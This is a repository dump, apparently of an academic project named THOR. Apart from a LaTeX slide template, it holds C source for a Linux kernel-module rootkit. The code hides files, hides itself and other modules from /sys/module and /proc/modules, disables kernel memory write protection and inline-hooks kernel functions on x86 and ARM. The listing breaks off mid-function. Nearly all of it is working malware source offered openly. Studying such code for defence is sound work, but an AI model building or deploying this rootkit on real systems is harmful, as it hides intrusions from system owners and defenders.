-------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/midterm.pdf -------------------------------------------------------------------------------- /doc/tpl.tex: -------------------------------------------------------------------------------- 1 | \documentclass[darktitle]{beamer} 2 | 3 | \usepackage[T1]{fontenc} 4 | \usepackage[utf8]{inputenc} 5 | \usepackage{amssymb,amsmath} 6 | \usepackage{caption} 7 | \usepackage{color} 8 | \usepackage{eurosym} 9 | \usepackage{graphicx} 10 | \usepackage{listings} 11 | \usepackage{lmodern} 12 | \usepackage{url} 13 | 14 | $if(strikeout)$ 15 | \usepackage[normalem]{ulem} 16 | % avoid problems with \sout in headers with hyperref 17 | \pdfstringdefDisableCommands{\renewcommand{\sout}{}} 18 | $endif$ 19 | 20 | $if(natbib)$ 21 | \usepackage{natbib} 22 | \bibliographystyle{plainnat} 23 | $endif$ 24 | 25 | $if(biblatex)$ 26 | \usepackage{biblatex} 27 | $if(biblio-files)$ 28 | \bibliography{$biblio-files$} 29 | $endif$ 30 | $endif$ 31 | 32 | \usepackage{fancyvrb} 33 | \usepackage{droidmono} 34 | \newcommand{\VerbBar}{|} 35 | \newcommand{\VERB}{\Verb[commandchars=\\\{\}]} 36 | \DefineVerbatimEnvironment{Highlighting}{Verbatim}{commandchars=\\\{\}, 37 | fontfamily=fdm,fontsize=\fontsize{7}{8.5}} 38 | \newenvironment{Shaded}{}{} 39 | \newcommand{\KeywordTok}[1]{\textcolor[rgb]{0.00,0.44,0.13}{\textbf{{#1}}}} 40 | \newcommand{\DataTypeTok}[1]{\textcolor[rgb]{0.56,0.13,0.00}{{#1}}} 41 | \newcommand{\DecValTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{{#1}}} 42 | \newcommand{\BaseNTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{{#1}}} 43 | \newcommand{\FloatTok}[1]{\textcolor[rgb]{0.25,0.63,0.44}{{#1}}} 44 | \newcommand{\CharTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{{#1}}} 45 | \newcommand{\StringTok}[1]{\textcolor[rgb]{0.25,0.44,0.63}{{#1}}} 46 | \newcommand{\CommentTok}[1]{\textcolor[rgb]{0.38,0.63,0.69}{\textit{{#1}}}} 47 | \newcommand{\OtherTok}[1]{\textcolor[rgb]{0.00,0.44,0.13}{{#1}}} 48 | \newcommand{\AlertTok}[1]{\textcolor[rgb]{1.00,0.00,0.00}{\textbf{{#1}}}} 49 | \newcommand{\FunctionTok}[1]{\textcolor[rgb]{0.02,0.16,0.49}{{#1}}} 50 | \newcommand{\RegionMarkerTok}[1]{{#1}} 51 | \newcommand{\ErrorTok}[1]{\textcolor[rgb]{1.00,0.00,0.00}{\textbf{{#1}}}} 52 | \newcommand{\NormalTok}[1]{{#1}} 53 | \DeclareCaptionFormat{plain}{#3} 54 | 55 | \AtBeginPart{ 56 | \let\insertpartnumber\relax 57 | \let\partname\relax 58 | \frame{\partpage} 59 | } 60 | \AtBeginSection{ 61 | \let\insertsectionnumber\relax 62 | \let\sectionname\relax 63 | \frame{\sectionpage} 64 | } 65 | \AtBeginSubsection{ 66 | \let\insertsubsectionnumber\relax 67 | \let\subsectionname\relax 68 | \frame{\subsectionpage} 69 | } 70 | 71 | $for(header-includes)$ 72 | $header-includes$ 73 | $endfor$ 74 | 75 | \usetheme{QE} 76 | 77 | \title{$title$} 78 | $if(subtitle)$ 79 | \subtitle{$subtitle$} 80 | $endif$ 81 | \author{$for(author)$$author$$sep$ \and $endfor$} 82 | \date{$date$} 83 | 84 | \begin{document} 85 | 86 | \begin{frame} 87 | \titlepage 88 | \end{frame} 89 | 90 | $for(include-before)$ 91 | $include-before$ 92 | $endfor$ 93 | 94 | $if(toc)$ 95 | \begin{frame} 96 | \tableofcontents[hideallsubsections] 97 | \end{frame} 98 | $endif$ 99 | 100 | $body$ 101 | 102 | $if(biblatex)$ 103 | \begin{frame}[allowframebreaks]{$biblio-title$} 104 | \printbibliography[heading=none] 105 | \end{frame} 106 | $endif$ 107 | 108 | $for(include-after)$ 109 | $include-after$ 110 | $endfor$ 111 | 112 | \end{document} 113 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += thor.o 2 | thor-objs := main.o helper.o procfile.o pidhider.o filehider.o lsmodhider.o sockethider.o hijack.o 3 | 4 | KDIR := /lib/modules/$(shell uname -r)/build 5 | PWD := $(shell pwd) 6 | 7 | ccflags-y := -I/usr/src/linux 8 | 9 | all: 10 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules 11 | 12 | clean: 13 | $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean 14 | 15 | -------------------------------------------------------------------------------- /src/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | #include 5 | 6 | #define THOR_DEBUG 1 7 | 8 | #define THOR_MODULENAME THIS_MODULE->name 9 | 10 | #define THOR_PROCFILE "thor" 11 | 12 | #define LOG_TAG "THOR: " 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /src/filehider.c: -------------------------------------------------------------------------------- 1 | #include "filehider.h" 2 | 3 | #include "helper.h" 4 | #include "logging.h" 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /* function prototypes */ 12 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 13 | static int thor_fs_iterate(struct file *file, void *dirent, filldir_t filldir); 14 | #else 15 | static int thor_fs_iterate(struct file *file, struct dir_context *ctx); 16 | #endif 17 | static int thor_fs_filldir(void *buf, const char *name, int namelen, 18 | loff_t offset, u64 ino, unsigned d_type); 19 | 20 | /* file operations on fs */ 21 | static struct file_operations *fs_fops; 22 | 23 | /* pointer to original fs_iterate function */ 24 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 25 | static int (*orig_fs_iterate)(struct file *file, void *dirent, filldir_t filldir); 26 | #else 27 | static int (*orig_fs_iterate)(struct file *, struct dir_context *); 28 | #endif 29 | 30 | /* pointer to original fs_filldir function */ 31 | static int (*orig_fs_filldir)(void *buf, const char *name, int namelen, 32 | loff_t offset, u64 ino, unsigned d_type); 33 | 34 | int filehider_init(void) 35 | { 36 | struct file *filep_etc; 37 | void *iterate_addr; 38 | 39 | filep_etc = filp_open("/etc", O_RDONLY, 0); 40 | if (filep_etc == NULL) { 41 | LOG_ERROR("could not open /etc"); 42 | return -1; 43 | } 44 | 45 | LOG_INFO("hooking fs readdir / iterate"); 46 | 47 | fs_fops = (struct file_operations*) filep_etc->f_op; 48 | filp_close(filep_etc, NULL); 49 | 50 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 51 | orig_fs_iterate = fs_fops->readdir; 52 | #else 53 | orig_fs_iterate = fs_fops->iterate; 54 | #endif 55 | 56 | iterate_addr = (void*) &thor_fs_iterate; 57 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 58 | write_no_prot(&fs_fops->readdir, &iterate_addr, sizeof(void*)); 59 | #else 60 | write_no_prot(&fs_fops->iterate, &iterate_addr, sizeof(void*)); 61 | #endif 62 | 63 | return 0; 64 | } 65 | 66 | void filehider_cleanup(void) 67 | { 68 | if (fs_fops != NULL && orig_fs_iterate != NULL) { 69 | void *iterate_addr = orig_fs_iterate; 70 | 71 | LOG_INFO("unhooking fs readdir / iterate"); 72 | 73 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 74 | write_no_prot(&fs_fops->readdir, &iterate_addr, sizeof(void*)); 75 | #else 76 | write_no_prot(&fs_fops->iterate, &iterate_addr, sizeof(void*)); 77 | #endif 78 | } 79 | } 80 | 81 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 82 | static int thor_fs_iterate(struct file *file, void *dirent, filldir_t filldir) 83 | { 84 | orig_fs_filldir = filldir; 85 | return orig_fs_iterate(file, dirent, thor_fs_filldir); 86 | } 87 | #else 88 | static int thor_fs_iterate(struct file *file, struct dir_context *ctx) 89 | { 90 | int ret; 91 | filldir_t *ctx_actor; 92 | 93 | /* capture original filldir function */ 94 | orig_fs_filldir = ctx->actor; 95 | 96 | /* cast away const from ctx->actor */ 97 | ctx_actor = (filldir_t*)(&ctx->actor); 98 | 99 | /* store our filldir in ctx->actor */ 100 | *ctx_actor = thor_fs_filldir; 101 | ret = orig_fs_iterate(file, ctx); 102 | 103 | /* restore original filldir */ 104 | *ctx_actor = orig_fs_filldir; 105 | 106 | return ret; 107 | } 108 | #endif 109 | 110 | static int thor_fs_filldir(void *buf, const char *name, int namelen, 111 | loff_t offset, u64 ino, unsigned d_type) 112 | { 113 | if (strendcmp(name, "__thor") == 0) { 114 | LOG_INFO("hiding file %s", name); 115 | return 0; 116 | } 117 | 118 | return orig_fs_filldir(buf, name, namelen, offset, ino, d_type); 119 | } 120 | 121 | -------------------------------------------------------------------------------- /src/filehider.h: -------------------------------------------------------------------------------- 1 | #ifndef FILEHIDER_H 2 | #define FILEHIDER_H 3 | 4 | /* initialize file hider module */ 5 | int filehider_init(void); 6 | 7 | /* cleanup file hider module */ 8 | void filehider_cleanup(void); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /src/helper.c: -------------------------------------------------------------------------------- 1 | #include "helper.h" 2 | 3 | #include 4 | 5 | #if defined(CONFIG_ARM) 6 | # include 7 | #endif 8 | 9 | #if defined(CONFIG_ARM) && defined(CONFIG_STRICT_MEMORY_RWX) 10 | #include 11 | #include 12 | #include 13 | 14 | #undef dsb 15 | #define dsb(option) __asm__ __volatile__ ("dsb " #option : : : "memory") 16 | #define possible_tlb_flags (v4_possible_flags | \ 17 | v4wbi_possible_flags | \ 18 | fr_possible_flags | \ 19 | v4wb_possible_flags | \ 20 | fa_possible_flags | \ 21 | v6wbi_possible_flags | \ 22 | v7wbi_possible_flags) 23 | #define always_tlb_flags (v4_always_flags & \ 24 | v4wbi_always_flags & \ 25 | fr_always_flags & \ 26 | v4wb_always_flags & \ 27 | fa_always_flags & \ 28 | v6wbi_always_flags & \ 29 | v7wbi_always_flags) 30 | 31 | #define tlb_flag(f) ((always_tlb_flags & (f)) || (__tlb_flag & possible_tlb_flags & (f))) 32 | 33 | #define tlb_op(f, regs, arg) __tlb_op(f, "p15, 0, %0, " regs, arg) 34 | 35 | static struct { 36 | pmd_t *pmd_to_flush; 37 | pmd_t *pmd; 38 | unsigned long addr; 39 | pmd_t saved_pmd; 40 | bool made_writeable; 41 | } mem_unprotect; 42 | 43 | struct tlb_args { 44 | struct vm_area_struct *ta_vma; 45 | unsigned long ta_start; 46 | unsigned long ta_end; 47 | }; 48 | 49 | static inline void __local_flush_tlb_kernel_page(unsigned long kaddr) 50 | { 51 | const int zero = 0; 52 | const unsigned int __tlb_flag = __cpu_tlb_flags; 53 | 54 | tlb_op(TLB_V4_U_PAGE, "c8, c7, 1", kaddr); 55 | tlb_op(TLB_V4_D_PAGE, "c8, c6, 1", kaddr); 56 | tlb_op(TLB_V4_I_PAGE, "c8, c5, 1", kaddr); 57 | if (!tlb_flag(TLB_V4_I_PAGE) && tlb_flag(TLB_V4_I_FULL)) 58 | asm("mcr p15, 0, %0, c8, c5, 0" : : "r" (zero) : "cc"); 59 | 60 | tlb_op(TLB_V6_U_PAGE, "c8, c7, 1", kaddr); 61 | tlb_op(TLB_V6_D_PAGE, "c8, c6, 1", kaddr); 62 | tlb_op(TLB_V6_I_PAGE, "c8, c5, 1", kaddr); 63 | } 64 | 65 | static inline void __flush_tlb_kernel_page(unsigned long kaddr) 66 | { 67 | const unsigned int __tlb_flag = __cpu_tlb_flags; 68 | 69 | kaddr &= PAGE_MASK; 70 | 71 | if (tlb_flag(TLB_WB)) 72 | dsb(ishst); 73 | 74 | __local_flush_tlb_kernel_page(kaddr); 75 | tlb_op(TLB_V7_UIS_PAGE, "c8, c3, 1", kaddr); 76 | 77 | if (tlb_flag(TLB_BARRIER)) { 78 | dsb(ish); 79 | isb(); 80 | } 81 | } 82 | 83 | static inline void ipi_flush_tlb_kernel_page(void *arg) 84 | { 85 | struct tlb_args *ta = (struct tlb_args *)arg; 86 | 87 | local_flush_tlb_kernel_page(ta->ta_start); 88 | } 89 | 90 | void flush_tlb_kernel_page(unsigned long kaddr) 91 | { 92 | if (tlb_ops_need_broadcast()) { 93 | struct tlb_args ta; 94 | ta.ta_start = kaddr; 95 | on_each_cpu(ipi_flush_tlb_kernel_page, &ta, 1); 96 | } else { 97 | __flush_tlb_kernel_page(kaddr); 98 | } 99 | 100 | /* XXX */ 101 | /*broadcast_tlb_a15_erratum();*/ 102 | } 103 | 104 | void mem_text_address_writeable(unsigned long addr) 105 | { 106 | struct task_struct *tsk = current; 107 | struct mm_struct *mm = tsk->active_mm; 108 | pgd_t *pgd = pgd_offset(mm, addr); 109 | pud_t *pud = pud_offset(pgd, addr); 110 | 111 | mem_unprotect.made_writeable = 0; 112 | 113 | /* 114 | * removed because we actually want to write to non text sections 115 | * if ((addr < (unsigned long)RX_AREA_START) || 116 | * (addr >= (unsigned long)RX_AREA_END)) 117 | * return; 118 | */ 119 | 120 | mem_unprotect.pmd = pmd_offset(pud, addr); 121 | mem_unprotect.pmd_to_flush = mem_unprotect.pmd; 122 | mem_unprotect.addr = addr & PAGE_MASK; 123 | 124 | if (addr & SECTION_SIZE) 125 | mem_unprotect.pmd++; 126 | 127 | mem_unprotect.saved_pmd = *mem_unprotect.pmd; 128 | if ((mem_unprotect.saved_pmd & PMD_TYPE_MASK) != PMD_TYPE_SECT) 129 | return; 130 | 131 | *mem_unprotect.pmd &= ~PMD_SECT_APX; 132 | 133 | flush_pmd_entry(mem_unprotect.pmd_to_flush); 134 | flush_tlb_kernel_page(mem_unprotect.addr); 135 | mem_unprotect.made_writeable = 1; 136 | } 137 | 138 | void mem_text_address_restore(void) 139 | { 140 | if (mem_unprotect.made_writeable) { 141 | *mem_unprotect.pmd = mem_unprotect.saved_pmd; 142 | flush_pmd_entry(mem_unprotect.pmd_to_flush); 143 | flush_tlb_kernel_page(mem_unprotect.addr); 144 | } 145 | } 146 | 147 | static DEFINE_SPINLOCK(mem_text_writeable_lock); 148 | 149 | void mem_text_writeable_spinlock(unsigned long *flags) 150 | { 151 | spin_lock_irqsave(&mem_text_writeable_lock, *flags); 152 | } 153 | 154 | void mem_text_writeable_spinunlock(unsigned long *flags) 155 | { 156 | spin_unlock_irqrestore(&mem_text_writeable_lock, *flags); 157 | } 158 | 159 | #endif 160 | 161 | #if defined(CONFIG_X86) 162 | void set_addr_rw(void *addr) 163 | { 164 | unsigned int level; 165 | pte_t *pte = lookup_address((unsigned long) addr, &level); 166 | if (pte->pte &~ _PAGE_RW) 167 | pte->pte |= _PAGE_RW; 168 | } 169 | 170 | void set_addr_ro(void *addr) 171 | { 172 | unsigned int level; 173 | pte_t *pte = lookup_address((unsigned long) addr, &level); 174 | pte->pte = pte->pte &~_PAGE_RW; 175 | } 176 | #else 177 | void cacheflush ( void *begin, unsigned long size ) 178 | { 179 | flush_icache_range((unsigned long)begin, (unsigned long)begin + size); 180 | } 181 | #endif 182 | 183 | void write_no_prot(void *addr, void *data, int len) 184 | { 185 | #if defined(CONFIG_X86) 186 | /* TODO: set_addr_rw/ro on actual len */ 187 | set_addr_rw(addr); 188 | memcpy(addr, data, len); 189 | /* TODO: don't set ro if page was rw before? */ 190 | set_addr_ro(addr); 191 | #elif defined(CONFIG_ARM) 192 | # if defined(CONFIG_STRICT_MEMORY_RWX) 193 | unsigned long flags; 194 | mem_text_writeable_spinlock(&flags); 195 | /* TODO: mem_text_address_writeable on actual len */ 196 | mem_text_address_writeable((unsigned long)addr); 197 | memcpy(addr, data, len); 198 | cacheflush(addr, len); 199 | mem_text_address_restore(); 200 | mem_text_writeable_spinunlock(&flags); 201 | # else 202 | memcpy(addr, data, len); 203 | cacheflush(addr, len); 204 | # endif 205 | #else 206 | # error architecture not supported yet 207 | #endif 208 | } 209 | 210 | int strendcmp(const char *str, const char *suffix) 211 | { 212 | size_t lenstr = strlen(str); 213 | size_t lensuffix = strlen(suffix); 214 | 215 | if (lensuffix > lenstr) { 216 | return -1; 217 | } 218 | 219 | return strncmp(str + lenstr - lensuffix, suffix, lensuffix); 220 | } 221 | 222 | 223 | -------------------------------------------------------------------------------- /src/helper.h: -------------------------------------------------------------------------------- 1 | #ifndef HELPER_H 2 | #define HELPER_H 3 | 4 | #define MIN(a,b) \ 5 | ({ typeof (a) _a = (a); \ 6 | typeof (b) _b = (b); \ 7 | _a < _b ? _a : _b; }) 8 | 9 | #endif 10 | 11 | void write_no_prot(void *addr, void *data, int len); 12 | 13 | int strendcmp(const char *str, const char *suffix); 14 | 15 | -------------------------------------------------------------------------------- /src/hijack.c: -------------------------------------------------------------------------------- 1 | #include "hijack.h" 2 | 3 | #include "helper.h" 4 | #include "logging.h" 5 | 6 | #include 7 | 8 | /* node for hijack list */ 9 | struct _hijack_list { 10 | void *function; 11 | char *first_instructions; 12 | unsigned int first_instructions_size; 13 | struct list_head list; 14 | }; 15 | 16 | /* hijack list */ 17 | static struct _hijack_list hijack_list; 18 | 19 | int hijack_init(void) 20 | { 21 | INIT_LIST_HEAD(&hijack_list.list); 22 | 23 | return 0; 24 | } 25 | 26 | void hijack_cleanup(void) 27 | { 28 | struct _hijack_list *tmp; 29 | struct list_head *pos, *q; 30 | 31 | list_for_each_safe(pos, q, &(hijack_list.list)) { 32 | tmp = list_entry(pos, struct _hijack_list, list); 33 | unhijack(tmp->function); 34 | list_del(pos); 35 | kfree(tmp->first_instructions); 36 | kfree(tmp); 37 | } 38 | } 39 | 40 | void hijack(void *orig_function, void *new_function) 41 | { 42 | struct _hijack_list *tmp; 43 | void *function = orig_function; 44 | #if defined(CONFIG_X86) 45 | int32_t jmp; 46 | char the_jump[5]; 47 | #elif defined(CONFIG_ARM) 48 | uint32_t the_jump[4]; /* 2 for ARM, 4 for ARM THUMB */ 49 | bool is_thumb = false; 50 | #endif 51 | 52 | bool found = false; 53 | 54 | #if defined(CONFIG_ARM) 55 | if ((uint32_t) function & 0x00000001) { 56 | /* subtract 1 from the THUMB address to get the actual memory address */ 57 | function = (void*) ((char*)function - 1); 58 | is_thumb = true; 59 | } 60 | #endif 61 | 62 | list_for_each_entry(tmp, &(hijack_list.list), list) { 63 | if (tmp->function == function) { 64 | found = true; 65 | break; 66 | } 67 | } 68 | 69 | if (!found) { 70 | tmp = (struct _hijack_list*) kmalloc(sizeof(struct _hijack_list), GFP_KERNEL); 71 | tmp->function = orig_function; 72 | /* store the first instructions as we overwrite them */ 73 | #if defined(CONFIG_X86) 74 | tmp->first_instructions_size = 5; 75 | #elif defined(CONFIG_ARM) 76 | if (is_thumb) { 77 | tmp->first_instructions_size = 16; 78 | } else { 79 | tmp->first_instructions_size = 8; 80 | } 81 | #else 82 | # error architecture not supported yet 83 | #endif 84 | tmp->first_instructions = (char*) kmalloc(tmp->first_instructions_size, GFP_KERNEL); 85 | memcpy(tmp->first_instructions, function, tmp->first_instructions_size); 86 | 87 | list_add(&(tmp->list), &(hijack_list.list)); 88 | } 89 | 90 | #if defined(CONFIG_X86) 91 | /* calculate the distance to our new function */ 92 | jmp = (int32_t) (new_function - function); 93 | 94 | the_jump[0] = 0xE9; 95 | the_jump[1] = (jmp & 0xFF); 96 | the_jump[2] = (jmp & 0xFF00) >> 8; 97 | the_jump[3] = (jmp & 0xFF0000) >> 16; 98 | the_jump[4] = jmp >> 24; 99 | #elif defined(CONFIG_ARM) 100 | if (is_thumb) { 101 | /* ARM THUMB */ 102 | uint16_t *tj = (uint16_t*) the_jump; 103 | 104 | tj[0] = 0xB401; /* push {r0} */ 105 | tj[1] = 0xF8DF; /* ldr r0, [pc, #8] */ 106 | tj[2] = 0x0008; /* continuation of last instruction */ 107 | tj[3] = 0x4684; /* mov ip, r0 */ 108 | tj[4] = 0xBC01; /* pop {r0} */ 109 | tj[5] = 0x4760; /* bx ip */ 110 | 111 | tj[6] = ((uint32_t)new_function & 0x0000FFFF); 112 | tj[7] = ((uint32_t)new_function >> 16); 113 | } else { 114 | /* ARM */ 115 | the_jump[0] = (uint32_t) 0xE51FF004; /* ldr pc, [pc, -#4] */ 116 | the_jump[1] = (uint32_t) new_function; 117 | } 118 | #else 119 | # error architecture not supported yet 120 | #endif 121 | 122 | write_no_prot(function, &the_jump, tmp->first_instructions_size); 123 | } 124 | 125 | void unhijack(void *function) 126 | { 127 | struct _hijack_list *tmp; 128 | bool found = false; 129 | 130 | list_for_each_entry(tmp, &(hijack_list.list), list) { 131 | if(tmp->function == function) { 132 | found = true; 133 | break; 134 | } 135 | } 136 | 137 | if (!found) { 138 | LOG_WARN("unhijack: function %p not found, cannot unhijack", function); 139 | return; 140 | } 141 | 142 | #if defined(CONFIG_ARM) 143 | if ((uint32_t) function & 0x00000001) { 144 | /* subtract 1 from the THUMB address to get the actual memory address */ 145 | function = (void*) ((char*)function - 1); 146 | } 147 | #endif 148 | 149 | write_no_prot(function, tmp->first_instructions, tmp->first_instructions_size); 150 | } 151 | -------------------------------------------------------------------------------- /src/hijack.h: -------------------------------------------------------------------------------- 1 | #ifndef HIJACK_H 2 | #define HIJACK_H 3 | 4 | /* initialize the hijack_list */ 5 | int hijack_init(void); 6 | 7 | /* cleanup, release hijack_list and all the hijack information it stores */ 8 | void hijack_cleanup(void); 9 | 10 | /* 11 | * hijack a given function (make it jump to new_function) 12 | * stores information about the hijack in hijack_list which 13 | * must be cleared with hijack_cleanup upon exit (ex. rmmod) 14 | */ 15 | void hijack(void *function, void *new_function); 16 | 17 | /* unhijackes a given function if it has been hijacked previously */ 18 | void unhijack(void *function); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /src/logging.h: -------------------------------------------------------------------------------- 1 | #ifndef LOGGING_H 2 | #define LOGGING_H 3 | 4 | #include "config.h" 5 | 6 | #if THOR_DEBUG 7 | # define LOG_ERROR(format, args...) \ 8 | printk(KERN_ERR LOG_TAG format "\n", ##args); 9 | # define LOG_INFO(format, args...) \ 10 | printk(KERN_INFO LOG_TAG format "\n", ##args); 11 | # define LOG_WARN(format, args...) \ 12 | printk(KERN_WARNING LOG_TAG format "\n", ##args); 13 | #else 14 | # define LOG_ERROR(format, args...) do {} while(0); 15 | # define LOG_INFO(format, args...) do {} while(0); 16 | # define LOG_WARN(format, args...) do {} while(0); 17 | #endif 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /src/lsmodhider.c: -------------------------------------------------------------------------------- 1 | #include "lsmodhider.h" 2 | 3 | #include "config.h" 4 | #include "helper.h" 5 | #include "logging.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* function prototypes */ 13 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 14 | static int thor_sysmodule_iterate(struct file *file, void *dirent, filldir_t filldir); 15 | #else 16 | static int thor_sysmodule_iterate(struct file *file, struct dir_context *ctx); 17 | #endif 18 | static int thor_sysmodule_filldir(void *buf, const char *name, int namelen, 19 | loff_t offset, u64 ino, unsigned d_type); 20 | 21 | ssize_t thor_procmodules_read(struct file *file, char __user *buf, size_t len, loff_t *off); 22 | 23 | /* hiding list node */ 24 | struct _module_list { 25 | char *name; 26 | struct list_head list; 27 | }; 28 | 29 | /* hiding list */ 30 | static struct _module_list module_list; 31 | 32 | /* file operations on /sys/module */ 33 | static struct file_operations *sysmodule_fops; 34 | 35 | /* file operations on /proc/modules */ 36 | static struct file_operations *procmodules_fops; 37 | 38 | /* pointer to original /sys/module iterate function */ 39 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 40 | static int (*orig_sysmodule_iterate)(struct file *file, void *dirent, filldir_t filldir); 41 | #else 42 | static int (*orig_sysmodule_iterate)(struct file *, struct dir_context *); 43 | #endif 44 | 45 | /* pointer to original /proc/modules read function */ 46 | ssize_t (*orig_procmodules_read) (struct file *, char __user *, size_t, loff_t *); 47 | 48 | /* pointer to original /sys/module filldir function */ 49 | static int (*orig_sysmodule_filldir)(void *buf, const char *name, int namelen, 50 | loff_t offset, u64 ino, unsigned d_type); 51 | 52 | int lsmodhider_init(void) 53 | { 54 | struct file *filep_sysmodule; 55 | struct file *filep_procmodules; 56 | void *sysmodule_iterate_addr; 57 | void *procmodules_read_addr; 58 | 59 | INIT_LIST_HEAD(&module_list.list); 60 | 61 | filep_sysmodule = filp_open("/sys/module", O_RDONLY, 0); 62 | if (filep_sysmodule == NULL) { 63 | LOG_ERROR("could not open /sys/module"); 64 | return -1; 65 | } 66 | 67 | LOG_INFO("hooking /sys/module readdir / iterate"); 68 | 69 | sysmodule_fops = (struct file_operations*) filep_sysmodule->f_op; 70 | filp_close(filep_sysmodule, NULL); 71 | 72 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 73 | orig_sysmodule_iterate = sysmodule_fops->readdir; 74 | #else 75 | orig_sysmodule_iterate = sysmodule_fops->iterate; 76 | #endif 77 | sysmodule_iterate_addr = (void*) &thor_sysmodule_iterate; 78 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 79 | write_no_prot(&sysmodule_fops->readdir, &sysmodule_iterate_addr, sizeof(void*)); 80 | #else 81 | write_no_prot(&sysmodule_fops->iterate, &sysmodule_iterate_addr, sizeof(void*)); 82 | #endif 83 | 84 | filep_procmodules = filp_open("/proc/modules", O_RDONLY, 0); 85 | if (filep_procmodules == NULL) { 86 | LOG_ERROR("could not open /proc/modules"); 87 | return -1; 88 | } 89 | 90 | LOG_INFO("hooking /proc/modules read"); 91 | 92 | procmodules_fops = (struct file_operations*) filep_procmodules->f_op; 93 | filp_close(filep_procmodules, NULL); 94 | 95 | orig_procmodules_read = procmodules_fops->read; 96 | 97 | procmodules_read_addr = (void*) &thor_procmodules_read; 98 | write_no_prot(&procmodules_fops->read, &procmodules_read_addr, sizeof(void*)); 99 | 100 | return 0; 101 | } 102 | 103 | void lsmodhider_cleanup(void) 104 | { 105 | 106 | if (sysmodule_fops != NULL && orig_sysmodule_iterate != NULL) { 107 | void *sysmodule_iterate_addr = orig_sysmodule_iterate; 108 | 109 | LOG_INFO("hooking /sys/module readdir / iterate"); 110 | 111 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 112 | write_no_prot(&sysmodule_fops->readdir, &sysmodule_iterate_addr, sizeof(void*)); 113 | #else 114 | write_no_prot(&sysmodule_fops->iterate, &sysmodule_iterate_addr, sizeof(void*)); 115 | #endif 116 | } 117 | 118 | if (procmodules_fops != NULL && orig_procmodules_read != NULL) { 119 | void *procmodules_read_addr = orig_procmodules_read; 120 | LOG_INFO("hooking /proc/modules read"); 121 | write_no_prot(&procmodules_fops->read, &procmodules_read_addr, sizeof(void*)); 122 | } 123 | 124 | clear_module_list(); 125 | } 126 | 127 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 128 | static int thor_sysmodule_iterate(struct file *file, void *dirent, filldir_t filldir) 129 | { 130 | orig_sysmodule_filldir = filldir; 131 | return orig_sysmodule_iterate(file, dirent, thor_sysmodule_filldir); 132 | } 133 | #else 134 | static int thor_sysmodule_iterate(struct file *file, struct dir_context *ctx) 135 | { 136 | int ret; 137 | filldir_t *ctx_actor; 138 | 139 | /* capture original filldir function */ 140 | orig_sysmodule_filldir = ctx->actor; 141 | 142 | /* cast away const from ctx->actor */ 143 | ctx_actor = (filldir_t*)(&ctx->actor); 144 | 145 | /* store our filldir in ctx->actor */ 146 | *ctx_actor = thor_sysmodule_filldir; 147 | ret = orig_sysmodule_iterate(file, ctx); 148 | 149 | /* restore original filldir */ 150 | *ctx_actor = orig_sysmodule_filldir; 151 | 152 | return ret; 153 | } 154 | #endif 155 | 156 | static int thor_sysmodule_filldir(void *buf, const char *name, int namelen, 157 | loff_t offset, u64 ino, unsigned d_type) 158 | { 159 | struct _module_list *tmp; 160 | 161 | /* hide thor */ 162 | if (strcmp(name, THOR_MODULENAME) == 0) { 163 | LOG_INFO("hiding module %s", THOR_MODULENAME); 164 | return 0; 165 | } 166 | 167 | /* hide specified modules */ 168 | list_for_each_entry(tmp, &(module_list.list), list) { 169 | if (strcmp(name, tmp->name) == 0) { 170 | LOG_INFO("hiding module %s", name); 171 | return 0; 172 | } 173 | } 174 | 175 | return orig_sysmodule_filldir(buf, name, namelen, offset, ino, d_type); 176 | } 177 | 178 | void my_hide_module(char __user *buf, char *module, size_t *len, ssize_t *read_ret) 179 | { 180 | char *module_occ; 181 | 182 | /* find and hide module from /proc/modules */ 183 | module_occ = strnstr(buf, module, *len); 184 | 185 | if (module_occ != NULL) { /* thor found */ 186 | char *nl; 187 | /* 188 | * find newline and copy the rest of the buffer over the thor 189 | * occurrence 190 | */ 191 | nl = strnstr(module_occ, "\n", *len - (module_occ - buf)); 192 | memcpy(module_occ, nl+1, *len - ((nl + 1) - buf)); 193 | *read_ret -= (nl+1 - module_occ); 194 | *len -= (nl+1 - module_occ); 195 | } 196 | } 197 | 198 | ssize_t thor_procmodules_read(struct file *file, char __user *buf, size_t len, loff_t *off) 199 | { 200 | struct _module_list *tmp; 201 | ssize_t ret; 202 | 203 | ret = orig_procmodules_read(file, buf, len, off); 204 | 205 | /* hide thor */ 206 | my_hide_module(buf, THOR_MODULENAME, &len, &ret); 207 | 208 | /* hide specified modules */ 209 | list_for_each_entry(tmp, &(module_list.list), list) { 210 | my_hide_module(buf, tmp->name, &len, &ret); 211 | } 212 | 213 | return ret; 214 | } 215 | 216 | void add_to_module_list(const char *name, unsigned int len) 217 | { 218 | struct _module_list *tmp; 219 | 220 | tmp = (struct _module_list*) kmalloc(sizeof(struct _module_list), GFP_KERNEL); 221 | tmp->name = (char*) kmalloc(len, 